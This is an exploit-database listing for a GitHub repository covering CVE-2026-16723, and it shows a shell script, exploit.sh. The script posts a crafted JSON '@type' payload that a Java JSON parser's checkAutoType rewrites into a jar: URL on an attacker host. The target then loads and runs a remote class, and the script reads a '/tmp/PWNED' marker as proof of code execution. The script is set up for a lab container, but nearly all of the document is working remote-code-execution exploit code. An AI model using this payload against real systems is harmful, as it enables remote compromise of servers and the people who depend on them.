Exploit databaseDownload repository ZIP
GH-d2599377211b8ad6176db2585087e821
fazilbaig1/cve-2026-16723
Sources for CVE-2026-16723
12 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
fazilbaig1/cve-2026-16723Revision 85715b8360be
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2026-16723/exploit/exploit.sh
Shell · 1,212 bytes#!/usr/bin/env bash
# Fires the one-payload exploit at the lab target and proves code execution.
set -e
TARGET="${TARGET:-http://127.0.0.1:8080}"
ATTACKER_HOST="${ATTACKER_HOST:-attacker}"
ATTACKER_PORT="${ATTACKER_PORT:-8000}"
# '..' -> '//' and '.' -> '/' inside checkAutoType rebuild this into a jar: URL.
PAYLOAD="{\"@type\":\"jar:http:..${ATTACKER_HOST}:${ATTACKER_PORT}.probe!.POC\",\"x\":1}"
echo "[*] target : ${TARGET}/parse (JSON.parseObject(body, Dto.class), autoType OFF)"
echo "[*] payload : ${PAYLOAD}"
echo -n "[*] response: "
curl -s -H 'Content-Type: application/json' -d "${PAYLOAD}" "${TARGET}/parse" || true
echo
echo "[*] waiting for the remote class <clinit> to run in the target ..."
sleep 2
echo "[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):"
echo "------------------------------------------------------------------"
docker compose exec -T target sh -c 'cat /tmp/PWNED 2>/dev/null || echo "(no marker — target not vulnerable / not JDK 8 / no egress)"'
echo "------------------------------------------------------------------"
echo "[*] attacker log (the SSRF landing):"
docker compose logs --tail 5 attacker 2>/dev/null | sed 's/^/ /' || true